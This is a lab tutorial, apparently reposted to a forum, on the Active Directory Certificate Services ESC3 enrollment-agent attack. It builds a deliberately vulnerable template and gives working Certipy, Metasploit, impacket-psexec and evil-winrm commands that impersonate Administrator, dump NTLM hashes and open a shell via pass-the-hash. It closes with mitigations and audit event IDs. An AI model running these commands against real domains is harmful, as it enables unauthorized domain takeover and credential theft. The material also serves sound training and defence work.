Статья ADCS ESC3: Enrollment Agent Template

[stihl]

Active Directory Certificate Services (ADCS) is commonly targeted in ESC3 certificate attacks, which exploit misconfigurations in certificate templates to enable serious vulnerabilities such as ADCS certificate attacks and privilege escalation. ESC3, in particular, poses a significant threat when combined with a misconfigured Certificate Request Agent (CRA) template. This flaw allows attackers to request certificates for high-privileged users, like domain admins, giving them unauthorized access and opening the door for further exploitation.

In PART 2 of this ADCS series, we covered an overview of Active Directory Certificate Services and demonstrated the Для просмотра ссылки Войди или Зарегистрируйся. In this post, we’ll dive into the AD CS ESC3 Enrollment Agent Template—an escalation method that exploits a misconfigured Certificate Request Agent EKU, also known as the “Enrollment Agent,” allowing a user to request a certificate on behalf of another user, such as a Domain Admin.

Table of Content​

• What is ESC3?
• ADCS and Certificate Templates Risks
• Certificate Request Agent EKU
• Prerequisites

Lab Setup

Enumeration and exploitation

• ESC3 Attack Using Certipy

Post Exploitation

• Lateral Movement & Privilege Escalation using impacket-psexec
• ESC3 Attack Using Metasploit
• Lateral Movement & Privilege Escalation using Evil-Winrm

Mitigation

What is ESC3?​

ESC3 using Certificate Request Agent allows designated users to request certificates on behalf of other users, computers, or services within an enterprise Public Key Infrastructure (PKI) environment. This is commonly used in scenarios where end-users cannot request certificates themselves due to lack of access or permissions.

Requirements to Make ESC3 Attack Possible:

• Certificate template allows “enrollment on behalf of”
• Attacker has a valid Certificate Request Agent certificate
• Attacker has Enroll permissions on a vulnerable certificate template
• No strong restrictions on who can be impersonated
• Overly broad assignment of Certificate Request Agent role

ADCS and Certificate Templates Risks​

Active Directory Certificate Services (ADCS) and certificate templates pose significant risks if misconfigured, potentially enabling privilege escalation, lateral movement, or full domain compromise. Certificate attacks like ESC3 allow attackers to modify templates to issue certificates for privileged impersonation, effectively bypassing authentication and enabling stealthy, persistent access.

ADCS issues certificates in Active Directory using templates that define permissions and usage. Poorly secured templates are prime targets for attacks like

ESC1 (abusing dangerous permissions like ENROLL and Client Authentication),

ESC2 (exploiting misconfigured issuance policies), and

ESC3 (using Certificate Request Agent template to impersonate privileged accounts).

If not tightly controlled, ADCS can become a powerful tool for lateral movement and privilege escalation in a domain.

The vulnerability conditions for ESC1, ESC2, and ESC3 certificate templates are as follows

In the case of ESC3, we will walk through how an attacker can abuse a misconfigured Certificate Request Agent template to request certificates on behalf of privileged users, enabling impersonation and unauthorized access through certificate-based authentication.

Certificate Request Agent EKU​

A Certificate Request Agent is a delegated user or service that is authorized to request digital certificates on behalf of other users or devices in an Active Directory environment, typically through a special certificate template.

In Active Directory Certificate Services (ADCS), a Certificate Request Agent is a trusted account (typically a user or service account) that is authorized to request certificates on behalf of other users or computers.

This is part of a delegated enrollment model, often used in environments where:

• End-users can’t request their own certificates (e.g., smartcards)
• A centralized system or helpdesk issues certificates for users
• Automation systems handle identity provisioning

How it works:​

Note: Extended Key Usage (EKU) is a certificate field that specifies its intended purposes like email encryption, user authentication, or secure web access each represented by a unique Object Identifier (OID).

The Security Risk, When Misused:​

The Certificate Request Agent EKU, though useful for delegated enrollment, poses a serious security threat if the certificate template includes it without requiring approval, is accessible to non-privileged users, and lacks restrictions on which identities can be impersonated.

Prerequisite​

• Windows Server 2019 as Active Directory that supports PKINIT
• Domain must have Active Directory Certificate Services and Certificate Authority configured.
• Kali Linux packed with tools
• Tools: Evil-winrm, Impacket, certipy-ad, Metasploit

Lab setup​

Starting by launching the Certificate Template Console:

Run certtmpl.msc on the Domain Controller, then navigate to Certificate Templates → Manage.

Duplicate the “Certificate Template” Template​

• Scroll down and find the “Code Signing” template.
• Right-click it → Click Duplicate Template.

Configure the New Template​

A new window will appear with multiple tabs, go through them one by one.

General Tab:

• Set the Template display name to: ESC3
• (Optional) Adjust the Validity Period — the default of 1 year is typically sufficient.

This name will show up when requesting the certificate

Configure the Subject Name Tab​

• Select: Build from this Active Directory information

This setting prevents attackers from supplying their own identity (e.g., CN=Administrator)

Configure the Security Tab​

• Click Add → Type Domain Users → Click OK
• Select Domain Users
• Check → Enroll

Configure the Extensions Tab​

• Go to the Extensions tab
• Select Application Policies → Click Edit

Inside the Edit Window:​

• Select: Code Signing → Click Remove

• Click Add and then Select Certificate request Agent
• And Click OK

Confirm Issuance Requirements​

Go back to the Certificate Authority (certsrv.msc) window. Right-click Certificate Templates → Click New → Certificate Template to Issue.

Find Vulnerable Template in the list and select it, in our case we created it as ESC3.

Click OK to publish it

Save the Template​

• Click OK to save and close

We can see our template is now created!

Enumeration & Exploitation​

ESC3 Attack Using Certipy​

• Enumeration for Vulnerable Templates

Use Certipy from the attacker machine to enumerate AD CS configuration and vulnerable templates, specifying raj as the user in this case.

Let’s fire the command

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Identify a certificate template that contains the Certificate Request Agent EKU, allows on-behalf-of enrollment, and is vulnerable to ESC3 exploitation in the file saved as 20250112131824_Certipy.txt

Use your preferred text editor to view the saved file in this case, we’re using cat to read its contents.

• Request a Certificate as Administrator

Use the vulnerable template to request a certificate for your own user (eg, raj)

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC3'

If successful, Certipy generates and saves a .pfx certificate file in our case, it’s raj.pfx!

We’re directing Certipy to log in as raj, use the ‘User’ certificate template to request a cert on behalf of Administrator, and save the resulting certificate as raj.pfx.

certipy-ad req -u ‘raj@ignite.local’ -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target ‘dc.ignite.local’ -template 'User' -on-behalf-of administrator -pfx raj.pfx

If successful, this results in a valid certificate for Administrator without needing their credentials.

Note: The -on-behalf-of administrator flag is the key impersonation step, it tells the CA to issue a certificate for Administrator instead of the requesting user.

• Use the Certificate

Once authenticated as Administrator, you can proceed to dump NTLM hashes from the Domain Controller.

To achieve, fire the command as

certipy-ad auth -pfx administrator.pfx

Post Exploitation​

Lateral Movement & Privilege Escalation using impacket-psexec​

After that, perform lateral movement using Pass-the-Hash (PTH) attacks.

For this, use the powerful Impacket toolkit with a command like:

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38 administrator@192.168.1.48

This allows you to access resources on other systems without needing the actual password just the hash.

ESC3 Attack Using Metasploit​

Use Metasploit’s LDAP module to find vulnerable AD CS templates (like ESC3); if impersonation is possible, exploit it using the icpr_cert module, which requests a certificate via RPC and saves a .pfx file for future authentication.

In this case, the AD CS server issued a cert for raj@ignite.local, saved as a .pfx at /root/.msf4/loot/…, ready for PKINIT-based auth.

Load the Certificate Request Module​

use auxiliary/admin/dcerpc/icpr_cert

Set the Target and Parameters​

set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC3
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
run

We can verify that the .pfx file is valid and stored locally and it can now be used to authenticate as raj or impersonate another user, depending on the template’s permissions.

In this case, we listed the loot directory and renamed the obtained certificate to administrator.pfx for clarity

We can reuse the Metasploit module admin/dcerpc/icpr_cert to impersonate the Administrator account and obtain a valid .pfx certificate issued in their name.

By setting ON_BEHALF_OF, a low-privileged user can request a certificate on behalf of another user in this case, Administrator.

Note: It works only if the certificate template allows it (SubjectAltName from requester & no Manager Approval or ENROLLEE_SUPPLIES_SUBJECT restrictions).

We selected the ‘User’ certificate template, which is likely enrollable by the current user.

Load the Certificate Request Module​

use auxiliary/admin/dcerpc/icpr_cert
set ON_BEHALF_OF Administrator
set PFX /root/.msf4/loot/administrator
set CERT_TEMPLATE User
run

We successfully obtained a certificate as Administrator, confirming the template’s vulnerability to ESC3, and the resulting .pfx file now serves as Administrator’s private key and certificate, enabling Kerberos authentication as that user using Certipy or similar tools.

In this case, we use the .pfx file to authenticate as Administrator and obtain a Kerberos TGT via a Metasploit module which can later be used for Pass-the-Ticket (PTT) attacks..

Launch Metasploit: msfconsole

Load the Module:​

use auxiliary/admin/kerberos/get_ticket
set action GET_HASH
set cert_file /root/.msf4/loot/20250112133551_default_192.168.1.48_windows.ad.cs_685006.pfx
set rhosts 192.168.1.48
run

If successful, NTLM hash is dumped

Lateral Movement & Privilege Escalation using Evil-Winrm​

Use Evil-WinRM to get a shell as Administrator via certificate-based authentication.
Launch it with the following command:

evil-winrm -i 192.168.1.48 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

Mitigation​

• Restrict Certificate Request Agent EKU Usage → Only assign to dedicated agent templates used by trusted PKI personnel
• Require Certificate Manager Approval → Ensure all templates with the Agent EKU need manual approval before certificate issuance
• Limit Enrollment Permissions → Grant Enroll/Autoenroll rights only to trusted users/groups, not to Domain Users
• Audit Existing Templates for EKU Risk → Use toolslike Certipy to identify templates with 1.3.6.1.4.1.311.20.2.1
• Monitor for Abuse & Impersonation → Log and alert on Event IDs 4886 (request) and 4887 (issued); flag on-behalf-of activity
• Harden CA Infrastructure → Remove unused roles (e.g., Web Enrollment), apply patches, and isolate CA servers with strong ACLs and network controls

Для просмотра ссылки Войди или Зарегистрируйся